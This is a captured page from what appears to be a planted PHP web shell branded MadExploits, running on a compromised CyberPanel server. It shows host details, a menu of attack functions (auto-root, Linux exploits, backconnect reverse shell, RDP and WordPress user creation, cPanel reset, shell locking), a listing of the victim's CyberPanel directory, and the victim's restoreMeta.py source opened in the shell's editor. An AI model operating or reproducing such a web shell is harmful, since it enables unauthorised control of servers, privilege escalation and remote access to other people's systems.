Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
plogical /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
.my.cnf.4370
0
B
-rw-r--r--
.mysql.4370
0
B
-rw-r--r--
Backupsv2.py
59.03
KB
-rw-r--r--
ClusterManager.py
17.68
KB
-rw-r--r--
CyberCPLogFileWriter.py
4.37
KB
-rw-r--r--
CyberPanelUpgrade.py
3.64
KB
-rw-r--r--
DockerSites.py
61.86
KB
-rw-r--r--
IncScheduler.py
88.07
KB
-rw-r--r--
SwitchOldAliasToNew.py
2.4
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
acl.py
50.61
KB
-rw-r--r--
acl.py.backup_dns_fix
48.95
KB
-rw-r--r--
adminPass.py
2.41
KB
-rw-------
alias.py
647
B
-rw-r--r--
apiAccess.py
418
B
-rw-r--r--
applicationInstaller.py
352.05
KB
-rw-r--r--
backupSchedule.py
22.21
KB
-rw-r--r--
backupScheduleLocal.py
5.31
KB
-rw-r--r--
backupUtilities.py
110.15
KB
-rw-r--r--
bandwidthReset.py
7.25
KB
-rw-r--r--
cPanelImporter.py
41.33
KB
-rw-r--r--
childDomain.py
1.25
KB
-rw-r--r--
cronUtil.py
5.34
KB
-rw-r--r--
csf.py
48.63
KB
-rw-r--r--
customACME.py
51.55
KB
-rw-r--r--
dnsUtilities.py
38.7
KB
-rw-r--r--
domain.xml
0
B
-rw-r--r--
emergency_2fa_disable.py
1.24
KB
-rw-r--r--
filesPermsUtilities.py
6.17
KB
-rw-r--r--
filesPermsUtilities.py.bak
6.17
KB
-rw-r--r--
findBWUsage.py
4.6
KB
-rw-r--r--
firewallUtilities.py
8.18
KB
-rw-r--r--
ftpUtilities.py
7.56
KB
-rw-r--r--
getSystemInformation.py
5.29
KB
-rw-r--r--
hashPassword.py
1.22
KB
-rw-r--r--
httpProc.py
4.81
KB
-rw-r--r--
installUtilities.py
19.04
KB
-rw-r--r--
letsEncrypt.py
0
B
-rw-r--r--
mailUtilities.py
104.79
KB
-rw-r--r--
modSec.py
26.71
KB
-rw-r--r--
mysqlUtilities.py
41.46
KB
-rw-r--r--
phpUtilities.py
19.8
KB
-rw-r--r--
phpmyadminsignin.php
2.08
KB
-rw-r--r--
pluginManagerGlobal.py
813
B
-rw-r--r--
processUtilities.py
22.42
KB
-rw-r--r--
randomPassword.py
200
B
-rw-r--r--
rebuildQuotas.py
3.29
KB
-rw-r--r--
remoteBackup.py
14.81
KB
-rw-r--r--
remoteTransferUtilities.py
16.43
KB
-rw-r--r--
renew.py
5.64
KB
-rwxr-xr-x
restoreMeta.py
7.65
KB
-rw-r--r--
serverLogs.py
735
B
-rw-r--r--
sslUtilities.py
49.26
KB
-rw-r--r--
sslv2.py
26.18
KB
-rw-r--r--
test.py
0
B
-rw-r--r--
test1.py
0
B
-rw-r--r--
tuning.py
18.08
KB
-rw-r--r--
upgrade.py
213.62
KB
-rw-r--r--
upgrade.py.bak
97.03
KB
-rw-r--r--
upgradeCritical.py
1.15
KB
-rwx------
vhost.py
47
KB
-rw-r--r--
vhostConfs.py
14.41
KB
-rw-r--r--
virtualHostUtilities.py
92.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : restoreMeta.py
#!/usr/local/CyberCP/bin/python import os.path import sys sys.path.append('/usr/local/CyberCP') os.environ.setdefault("DJANGO_SETTINGS_MODULE", "CyberCP.settings") import django django.setup() from websiteFunctions.models import Websites from plogical.CyberCPLogFileWriter import CyberCPLogFileWriter as logging from xml.etree import ElementTree import plogical.mysqlUtilities as mysqlUtilities from databases.models import Databases import argparse try: from plogical.virtualHostUtilities import virtualHostUtilities from plogical.mailUtilities import mailUtilities from plogical.processUtilities import ProcessUtilities except: pass class restoreMeta(): @staticmethod def startRestore(metaPath, statusPath): try: ## extracting master domain for later use backupMetaData = ElementTree.parse(metaPath) masterDomain = backupMetaData.find('masterDomain').text ########### Creating child/sub/addon/parked domains logging.statusWriter(statusPath, "Creating Child Domains!", 1) ### Restoring Child Domains if any. childDomains = backupMetaData.findall('ChildDomains/domain') try: for childDomain in childDomains: domain = childDomain.find('domain').text phpSelection = childDomain.find('phpSelection').text path = childDomain.find('path').text virtualHostUtilities.createDomain(masterDomain, domain, phpSelection, path, 0, 0, 0, 'admin', 0) except BaseException as msg: logging.writeToFile(str(msg) + " [startRestore]") return 0 ## Restore Aliases logging.statusWriter(statusPath, "Restoring Domain Aliases!", 1) aliases = backupMetaData.findall('Aliases/alias') for items in aliases: virtualHostUtilities.createAlias(masterDomain, items.text, 0, "", "", "admin") ## Restoring email accounts logging.statusWriter(statusPath, "Restoring email accounts!", 1) emailAccounts = backupMetaData.findall('emails/emailAccount') try: for emailAccount in emailAccounts: email = emailAccount.find('email').text username = email.split("@")[0] password = emailAccount.find('password').text result = mailUtilities.createEmailAccount(masterDomain, username, password) if result[0] == 0: logging.statusWriter(statusPath, 'Email existed, updating password according to last snapshot. %s' % (email)) if mailUtilities.changeEmailPassword(email, password, 1)[0] == 0: logging.statusWriter(statusPath, 'Failed changing password for: %s' % ( email)) else: logging.statusWriter(statusPath, 'Password changed for: %s' % ( email)) else: logging.statusWriter(statusPath, 'Email created: %s' % ( email)) except BaseException as msg: logging.writeToFile(str(msg) + " [startRestore]") return 0 ## Emails restored ## restoring databases logging.statusWriter(statusPath, "Restoring Databases!", 1) ## Create databases databases = backupMetaData.findall('Databases/database') website = Websites.objects.get(domain=masterDomain) for database in databases: dbName = database.find('dbName').text logging.writeToFile('Backup version 2.1.1 detected..') first = 1 databaseUsers = database.findall('databaseUsers') for databaseUser in databaseUsers: dbUser = databaseUser.find('dbUser').text dbHost = databaseUser.find('dbHost').text password = databaseUser.find('password').text if os.path.exists(ProcessUtilities.debugPath): logging.writeToFile('Database user: %s' % (dbUser)) logging.writeToFile('Database host: %s' % (dbHost)) logging.writeToFile('Database password: %s' % (password)) if first: first = 0 try: dbExist = Databases.objects.get(dbName=dbName) logging.statusWriter(statusPath, 'Database exists, changing Database password.. %s' % (dbName)) if mysqlUtilities.mysqlUtilities.changePassword(dbUser, password, 1, dbHost) == 0: logging.statusWriter(statusPath, 'Failed changing password for database: %s' % (dbName)) else: logging.statusWriter(statusPath, 'Password successfully changed for database: %s.' % (dbName)) except: logging.statusWriter(statusPath, 'Database did not exist, creating new.. %s' % (dbName)) if mysqlUtilities.mysqlUtilities.createDatabase(dbName, dbUser, "cyberpanel") == 0: logging.statusWriter(statusPath, 'Failed the creation of database: %s' % (dbName)) else: logging.statusWriter(statusPath, 'Database: %s successfully created.' % (dbName)) mysqlUtilities.mysqlUtilities.changePassword(dbUser, password, 1) if mysqlUtilities.mysqlUtilities.changePassword(dbUser, password, 1) == 0: logging.statusWriter(statusPath, 'Failed changing password for database: %s' % (dbName)) else: logging.statusWriter(statusPath, 'Password successfully changed for database: %s.' % (dbName)) try: newDB = Databases(website=website, dbName=dbName, dbUser=dbUser) newDB.save() except: pass ## This function will not create database, only database user is created as third value is 0 for createDB mysqlUtilities.mysqlUtilities.createDatabase(dbName, dbUser, password, 0, dbHost) mysqlUtilities.mysqlUtilities.changePassword(dbUser, password, 1, dbHost) ## Databases restored try: os.remove(metaPath) except: pass except BaseException as msg: logging.writeToFile(str(msg) + " [startRestore]") def main(): parser = argparse.ArgumentParser(description='CyberPanel Installer') parser.add_argument('function', help='Specific a function to call!') parser.add_argument('--metaPath', help='') parser.add_argument('--statusFile', help='!') ## backup restore arguments parser.add_argument('--backupFile', help='') parser.add_argument('--dir', help='') args = parser.parse_args() if args.function == "submitRestore": restoreMeta.startRestore(args.metaPath,args.statusFile) if __name__ == "__main__": main()
Close